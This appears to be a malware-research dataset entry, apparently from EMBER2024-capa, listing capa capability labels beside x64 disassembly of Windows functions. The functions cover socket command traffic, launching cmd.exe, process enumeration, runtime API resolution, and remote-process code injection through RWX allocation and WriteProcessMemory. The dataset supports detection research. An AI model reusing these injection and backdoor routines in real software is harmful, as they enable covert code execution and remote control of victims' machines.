joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401041c0
Capabilities:
Delete file
Get common file path
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x318
lea rdx, [rsp + 0x100]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [rsp + 0x60], eax
cmp dword [rsp + 0x60], 1
jge 0x1401041ef
xor al, al
jmp 0x140104428
lea rax, [rsp + 0xb0]
mov rdi, rax
xor eax, eax
mov ecx, 0x20
rep stosb byte [rdi], al
lea rdx, [rsp + 0xb0]
mov ecx, reloc.WS2_32.dll_inet_ntoa
call fcn.1401040f0
lea rax, [rsp + 0x100]
mov qword [rsp + 0x50], rax
sub qword [rsp + 0x50], 2
add qword [rsp + 0x50], 2
mov rax, qword [rsp + 0x50]
cmp word [rax], 0
jne 0x140104228
mov rax, qword [rsp + 0x50]
lea rcx, [rsp + 0xb0]
xor edx, edx
movzx edi, word [rcx + rdx*2]
mov word [rax + rdx*2], di
inc rdx
test di, di
jne 0x140104248
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
lea rcx, [rsp + 0x100]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0xffffffffffffffff
jne 0x140104390
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
lea rcx, [rsp + 0x100]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0xffffffffffffffff
jne 0x1401042e1
xor al, al
jmp 0x140104428
mov dword [rsp + 0x44], 0xa448
mov eax, dword [rsp + 0x44]
inc eax
mov eax, eax
mov ecx, eax
call fcn.14010a720
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x70], rax
mov eax, dword [rsp + 0x44]
lea rcx, [0x1401a5db0]
mov rdi, qword [rsp + 0x70]
mov rsi, rcx
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x44]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
cmp dword [rsp + 0x48], 0
ja 0x140104328
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x80], rax
mov rcx, qword [rsp + 0x80]
call fcn.14010a008
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x88]
mov rdi, rax
xor eax, eax
mov ecx, 0x28
rep stosb byte [rdi], al
lea rax, [rsp + 0xd0]
mov rdi, rax
xor eax, eax
mov ecx, 0x28
rep stosb byte [rdi], al
lea rdx, [rsp + 0x88]
mov ecx, reloc.WS2_32.dll_recv
call fcn.1401040f0
lea rdx, [rsp + 0xd0]
mov ecx, reloc.WS2_32.dll_inet_ntoa
call fcn.1401040f0
lea r8, [rsp + 0x100]
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x88]
call fcn.140108980
mov byte [rsp + 0x40], al
lea rcx, [rsp + 0x88]
call fcn.140108b90
lea rcx, [rsp + 0x100]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
movzx eax, byte [rsp + 0x40]
add rsp, 0x318
pop rdi
pop rsi
ret
Function at 0x140104490
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x140
mov qword [rsp + 0x30], 0
mov eax, 6
mov word [rsp + 0x20], ax
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
mov dword [rsp + 0x24], 4
mov eax, dword [rsp + 0x24]
add rax, 0x20
mov dword [rsp + 0x24], eax
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
movzx eax, word [0x1401b01f8]
mov word [rsp + 0x40], ax
movzx eax, word [rsp + 0x20]
mov word [rsp + 0x42], ax
lea rax, [rsp + 0x44]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x158]
mov dword [rax], ecx
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x160]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x168]
mov dword [rax + 0x10], ecx
mov rax, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x170]
mov dword [rax + 0x14], ecx
mov rax, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x178]
mov dword [rax + 0x18], ecx
xor r9d, r9d
mov r8d, dword [rsp + 0x24]
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_send
test eax, eax
jg 0x1401045a8
cmp qword [rsp + 0x180], 0
je 0x140104597
mov rax, qword [rsp + 0x180]
mov dword [rax], 0
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_closesocket
xor eax, eax
jmp 0x140104613
xor r9d, r9d
mov r8d, 8
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_recv
cdqe
cmp rax, 8
jae 0x1401045f5
cmp qword [rsp + 0x180], 0
je 0x1401045e4
mov rax, qword [rsp + 0x180]
mov dword [rax], 0
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_closesocket
xor eax, eax
jmp 0x140104613
cmp qword [rsp + 0x180], 0
je 0x14010460e
mov rax, qword [rsp + 0x180]
mov dword [rax], 1
mov rax, qword [rsp + 0x30]
add rsp, 0x140
pop rdi
ret

Function at 0x140104620
Capabilities:
Connect socket

Disassembly:
push rdi
sub rsp, 0x40
movzx eax, word [0x1403b7b44]
test eax, eax
jne 0x14010463d
mov rax, 0xffffffffffffffff
jmp 0x1401046d2
lea rax, [rsp + 0x28]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
mov eax, 2
mov word [rsp + 0x28], ax
mov ecx, dword [0x1401b01fc]
call sub.WS2_32.dll_htonl
mov dword [rsp + 0x2c], eax
movzx ecx, word [0x1403b7b44]
call sub.WS2_32.dll_htons
mov word [rsp + 0x2a], ax
xor r8d, r8d
mov edx, 1
mov ecx, 2
call sub.WS2_32.dll_socket
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0xffffffffffffffff
jne 0x1401046a0
mov rax, 0xffffffffffffffff
jmp 0x1401046d2
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x1401046cd
mov rcx, qword [rsp + 0x20]
call sub.WS2_32.dll_closesocket
mov rax, 0xffffffffffffffff
jmp 0x1401046d2
mov rax, qword [rsp + 0x20]
add rsp, 0x40
pop rdi
ret
Function at 0x1401046e0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x140
cmp qword [rsp + 0x160], 0
je 0x140104711
cmp qword [rsp + 0x170], 0
jne 0x140104731
cmp qword [rsp + 0x180], 0
je 0x14010472a
mov rax, qword [rsp + 0x180]
mov dword [rax], 0
xor eax, eax
jmp 0x140104899
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x24], 4
mov eax, dword [rsp + 0x24]
add rax, 0x28
mov dword [rsp + 0x24], eax
mov eax, 3
mov word [rsp + 0x20], ax
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
movzx eax, word [0x1401b01f8]
mov word [rsp + 0x40], ax
movzx eax, word [rsp + 0x20]
mov word [rsp + 0x42], ax
lea rax, [rsp + 0x44]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x158]
mov dword [rax + 0x10], ecx
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x160]
mov qword [rax + 0x18], rcx
mov rax, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x168]
mov dword [rax], ecx
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x170]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x178]
mov dword [rax + 0x20], ecx
xor r9d, r9d
mov r8d, dword [rsp + 0x24]
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_send
test eax, eax
jg 0x14010482f
cmp qword [rsp + 0x180], 0
je 0x14010481e
mov rax, qword [rsp + 0x180]
mov dword [rax], 0
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_closesocket
xor eax, eax
jmp 0x140104899
xor r9d, r9d
mov r8d, 4
lea rdx, [rsp + 0x28]
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_recv
cdqe
cmp rax, 4
jae 0x14010487c
cmp qword [rsp + 0x180], 0
je 0x14010486b
mov rax, qword [rsp + 0x180]
mov dword [rax], 0
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_closesocket
xor eax, eax
jmp 0x140104899
cmp qword [rsp + 0x180], 0
je 0x140104895
mov rax, qword [rsp + 0x180]
mov dword [rax], 1
mov eax, dword [rsp + 0x28]
add rsp, 0x140
pop rdi
ret
Function at 0x140104920
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x140
mov eax, 7
mov word [rsp + 0x20], ax
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
mov dword [rsp + 0x24], 4
mov eax, dword [rsp + 0x24]
add rax, 0x18
mov dword [rsp + 0x24], eax
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
movzx eax, word [0x1401b01f8]
mov word [rsp + 0x40], ax
movzx eax, word [rsp + 0x20]
mov word [rsp + 0x42], ax
lea rax, [rsp + 0x44]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x158]
mov dword [rax], ecx
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x160]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x168]
mov dword [rax + 0x10], ecx
mov rax, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x170]
mov dword [rax + 0x14], ecx
xor r9d, r9d
mov r8d, dword [rsp + 0x24]
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_send
test eax, eax
jg 0x140104a20
cmp qword [rsp + 0x178], 0
je 0x140104a0f
mov rax, qword [rsp + 0x178]
mov dword [rax], 0
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_closesocket
xor eax, eax
jmp 0x140104a8b
xor r9d, r9d
mov r8d, 4
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_recv
cdqe
cmp rax, 4
jae 0x140104a6d
cmp qword [rsp + 0x178], 0
je 0x140104a5c
mov rax, qword [rsp + 0x178]
mov dword [rax], 0
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_closesocket
xor eax, eax
jmp 0x140104a8b
cmp qword [rsp + 0x178], 0
je 0x140104a86
mov rax, qword [rsp + 0x178]
mov dword [rax], 1
mov eax, 1
add rsp, 0x140
pop rdi
ret

Function at 0x140104aa0
Capabilities:
Query or enumerate registry value

Disassembly:
sub rsp, 0x58
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0x20119
xor r8d, r8d
lea rdx, [0x140153c40]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
je 0x140104ada
xor eax, eax
jmp 0x140104b54
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x34], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140153c60]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140104b45
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x34]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140153c68]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [rsp + 0x34]
add rsp, 0x58
ret

Function at 0x140104b60
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1c8
lea rdx, [rsp + 0x20]
mov cx, 0x202
call sub.WS2_32.dll_WSAStartup
add rsp, 0x1c8
ret
Function at 0x140104b80
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x140
mov dword [rsp + 0x28], 0
mov eax, 8
mov word [rsp + 0x20], ax
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
mov dword [rsp + 0x24], 4
mov eax, dword [rsp + 0x24]
add rax, 0x18
mov dword [rsp + 0x24], eax
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
movzx eax, word [0x1401b01f8]
mov word [rsp + 0x40], ax
movzx eax, word [rsp + 0x20]
mov word [rsp + 0x42], ax
lea rax, [rsp + 0x44]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x158]
mov dword [rax], ecx
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x160]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x168]
mov dword [rax + 0x10], ecx
mov rax, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x170]
mov dword [rax + 0x14], ecx
xor r9d, r9d
mov r8d, dword [rsp + 0x24]
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_send
test eax, eax
jg 0x140104c88
cmp qword [rsp + 0x178], 0
je 0x140104c77
mov rax, qword [rsp + 0x178]
mov dword [rax], 0
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_closesocket
xor eax, eax
jmp 0x140104cf2
xor r9d, r9d
mov r8d, 4
lea rdx, [rsp + 0x28]
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_recv
cdqe
cmp rax, 4
jae 0x140104cd5
cmp qword [rsp + 0x178], 0
je 0x140104cc4
mov rax, qword [rsp + 0x178]
mov dword [rax], 0
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_closesocket
xor eax, eax
jmp 0x140104cf2
cmp qword [rsp + 0x178], 0
je 0x140104cee
mov rax, qword [rsp + 0x178]
mov dword [rax], 1
mov eax, dword [rsp + 0x28]
add rsp, 0x140
pop rdi
ret
Function at 0x140105f20
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x268
lea rdx, [0x140153e3c]
mov rcx, qword [rsp + 0x280]
call fcn.140114a0c
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x140105f56
xor eax, eax
jmp 0x1401060d1
mov rcx, qword [rsp + 0x48]
call fcn.14011709c
cmp dword [0x1403b7b50], 0
je 0x140106034
lea rax, [rsp + 0x60]
lea rcx, str.__no_color___qqq___best__
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1a
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x7a]
mov rdi, rax
xor eax, eax
mov ecx, 0x1e6
rep stosb byte [rdi], al
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
dec qword [rsp + 0x30]
inc qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
cmp byte [rax], 0
jne 0x140105fa6
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x280]
xor edx, edx
movzx edi, byte [rcx + rdx]
mov byte [rax + rdx], dil
inc rdx
test dil, dil
jne 0x140105fc4
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
dec qword [rsp + 0x38]
inc qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
cmp byte [rax], 0
jne 0x140105fe3
mov rax, qword [rsp + 0x38]
lea rcx, [0x140153e4c]
mov rdi, rax
mov rsi, rcx
mov ecx, 2
rep movsb byte [rdi], byte [rsi]
lea rax, [0x1403b7b54]
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, str.cmd.exe
lea rdx, [rsp + 0x60]
lea rcx, [0x1401b0230]
call fcn.1401096e0
jmp 0x1401060b2
mov eax, 8
imul rax, rax, 4
lea rcx, str.zyStudio
mov rdx, qword [rsp + 0x280]
mov qword [rcx + rax], rdx
mov dword [0x1403b7b58], 5
lea rax, str.zyStudio
mov qword [0x1403b7b60], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [0x1403b7b58]
lea r8, [0x1401060e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x1401060a2
xor eax, eax
jmp 0x1401060d1
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [0x1403b7b54], 0
jne 0x1401060c5
mov dword [rsp + 0x40], 1
jmp 0x1401060cd
mov dword [rsp + 0x40], 0
mov eax, dword [rsp + 0x40]
add rsp, 0x268
pop rdi
pop rsi
ret
Function at 0x140106200
Capabilities:
Enumerate processes

Disassembly:
sub rsp, 0x28
call fcn.140108610
add rsp, 0x28
jmp 0x140106200
push rdi
sub rsp, 0x680
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x24], 0x200
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x238
rep stosb byte [rdi], al
mov dword [rsp + 0x40], 0x238
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x14010630b
lea rdx, [0x140154088]
lea rcx, [rsp + 0x6c]
call fcn.140113c90
test eax, eax
jne 0x1401062f4
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x1401062f4
lea rax, [rsp + 0x280]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
lea r9, [rsp + 0x24]
lea r8, [rsp + 0x280]
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
lea rdx, [0x1401540a0]
lea rcx, [rsp + 0x280]
call fcn.140113c90
test eax, eax
jne 0x1401062e0
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x20], eax
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x20], 0
je 0x1401062f4
jmp 0x14010630b
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x14010625a
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x20]
add rsp, 0x680
pop rdi
ret

Function at 0x140106330
Capabilities:
Enumerate processes

Disassembly:
push rdi
sub rsp, 0x680
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x24], 0x200
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x40], 0x238
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x14010642a
lea rdx, [0x140154020]
lea rcx, [rsp + 0x6c]
call fcn.140113c90
test eax, eax
jne 0x140106413
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140106413
lea rax, [rsp + 0x280]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
lea r9, [rsp + 0x24]
lea r8, [rsp + 0x280]
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
lea rdx, [0x140154040]
lea rcx, [rsp + 0x280]
call fcn.140113c90
test eax, eax
jne 0x1401063ff
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x20], eax
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x20], 0
je 0x140106413
jmp 0x14010642a
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140106379
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x20]
add rsp, 0x680
pop rdi
ret
Function at 0x140106450
Capabilities:
Link many functions at runtime

Disassembly:
jmp 0x140106450
mov qword [rsp + 8], rcx
sub rsp, 0x38
xor eax, eax
test eax, eax
je 0x140106466
xor eax, eax
jmp 0x1401065af
cmp qword [rsp + 0x40], 0
jne 0x140106475
xor eax, eax
jmp 0x1401065af
cmp qword [0x1403b7b78], 0
jne 0x1401064a3
lea rcx, [0x140153ea8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x140153e90]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1403b7b78], rax
mov rax, qword [rsp + 0x40]
mov qword [0x1403b7b70], rax
mov dword [rsp + 0x20], 0
lea rcx, [0x140153eb8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x28], rax
lea rdx, [0x140153ec8]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1403a6a4b], rax
lea rdx, [0x140153ed8]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1403a6aad], rax
lea rdx, [0x140153ef0]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1403a6b0d], rax
lea rdx, [0x140153f08]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1403a6b47], rax
lea rdx, [0x140153f28]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1403a6b73], rax
lea rdx, [0x140153f38]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1403a6b84], rax
lea rdx, [0x140153f48]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1403a6be7], rax
lea rdx, [0x140153f58]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1403a6c2b], rax
lea rdx, [0x140153f68]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1403a6c7a], rax
mov eax, 1
add rsp, 0x38
ret
Function at 0x140107700
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x140107700
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x118
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x90]
lea rcx, [0x1403a6b30]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x75
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x200
xor edx, edx
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x140107769
xor eax, eax
jmp 0x1401078da
mov rax, qword [rsp + 0x60]
add rax, 8
mov qword [rsp + 0x70], rax
mov eax, dword [rsp + 0x130]
mov dword [rsp + 0xa1], eax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xfc], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 0x75
lea r8, [rsp + 0x90]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 4
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9, qword [0x1403b7b70]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rsp + 0x68]
call qword [0x1403b7b78]
test eax, eax
je 0x140107847
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x1401078da
cmp qword [rsp + 0x68], 0
jne 0x14010786e
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x1401078da
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x70]
sub rax, 8
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x20], rcx
mov r9d, 8
lea r8, [rsp + 0x78]
mov rdx, rax
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rax, qword [rsp + 0x78]
add rsp, 0x118
pop rdi
pop rsi
ret